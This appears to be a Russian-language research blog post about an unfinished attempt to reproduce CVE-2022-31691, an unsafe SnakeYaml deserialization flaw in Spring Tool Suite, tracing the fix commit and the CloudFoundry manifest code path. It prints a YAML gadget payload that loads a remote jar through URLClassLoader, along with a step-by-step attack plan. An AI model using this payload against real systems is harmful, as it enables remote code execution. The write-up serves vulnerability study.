CVE-2022-31691

Отчёт о моём (пока что безрезультатном) исследовании CVE-2022-31691.

Предыстория

Я часто использую Spring Tool Suite (STS) для Eclipse и привык полагаться на него при инициализации новых проектов Spring Boot. Эта уязвимость (см. https://tanzu.vmware.com/security/cve-2022-31691) представляет собой RCE, которое может быть вызвано небезопасной загрузкой содержимого из YAML-файла конфигурации.

SnakeYaml — весьма распространённый парсер и эмиттер YAML для Java. Однако, как и в любом процессе маршалинга/демаршалинга, всегда существует риск загрузки нежелательного содержимого непосредственно в память. SnakeYaml не исключение — см. https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.

Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.

Учитывая это, разработчики проекта добавили метод SafeConstructor:

Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());

Суть ясна, но этой рекомендации явно не следуют должным образом. Примеры небезопасной загрузки можно найти без труда. Даже Baeldung (прекрасный источник информации о Spring) не упоминает об этом в своём руководстве: https://www.baeldung.com/java-snake-yaml#basic-usage.

Чтобы воспользоваться уязвимостью, мне нужно заставить этот конструктор демаршалировать объект, которым я управляю. К счастью, другие уже проделали эту работу. https://github.com/artsploit/yaml-payload — очень простой проект для генерации эксплойт-полезных нагрузок SnakeYaml по типу https://github.com/mbechler/marshalsec. Схема следующая:

• использовать библиотеку artsploit для генерации jar-файла эксплойта с гаджет-цепочкой
• разместить этот jar на локальном веб-сервере
• создать вредоносный YAML-файл, который вызовет загрузку этого jar в память

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

• выяснить, какие YAML-файлы загружаются STS небезопасным образом
• создать проект Eclipse, включающий этот вредоносный YAML-файл, и убедиться, что он проходит по указанной цепочке атаки для достижения выполнения кода.

Изменения в STS

Найти коммит

Эта уязвимость была исправлена в STS версии 4.16.1. Быстрый просмотр коммитов этой версии даёт несколько полезных указаний на то, что было исправлено: https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE

Сообщение в этом коммите — «Use SafeConstructor in Snakeyaml YAML constructors» — чётко указывает на исправление.

Действительно, здесь происходит замена на SafeConstructor.

YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));

Если я хочу воспользоваться этой уязвимостью, мне нужно подсунуть вредоносное содержимое конструктору SnakeYaml, поэтому требуется отследить, откуда он вызывается.

Найти источник входных данных

Создание объекта SnakeYaml получает InputStream, создаваемый методом getInputStream().

getInputStream() вызывает getManifestFile() для определения, какой манифестный файл загружать.

getManifestFile() возвращает либо путь к манифестному файлу (если он указан в конструкторе), либо null.

Класс ApplicationManifestHandler инициализируется в классе CloudFoundryBootDashModel здесь и получает значение, взятое из значения, заданного в конструкторе метода resolveDeploymentProperties здесь.

Где я нахожусь сейчас — тупик!

Я почти уверен, что мне нужно настроить конфигурацию CloudFoundry, чтобы заставить его попытаться загрузить/вызвать мой вредоносный файл manifest.yml.

Оказывается, CloudFoundry — умирающая технология (предположительно, из-за Kubernetes и подобного). Я не могу найти никаких публичных платформ для создания подключения к CF, поэтому не могу провести дальнейшие тесты.

Далее

Изучить возможность развёртывания локального экземпляра разработки CloudFoundry, хотя бы для проверки моего понимания уязвимости и эксплойта.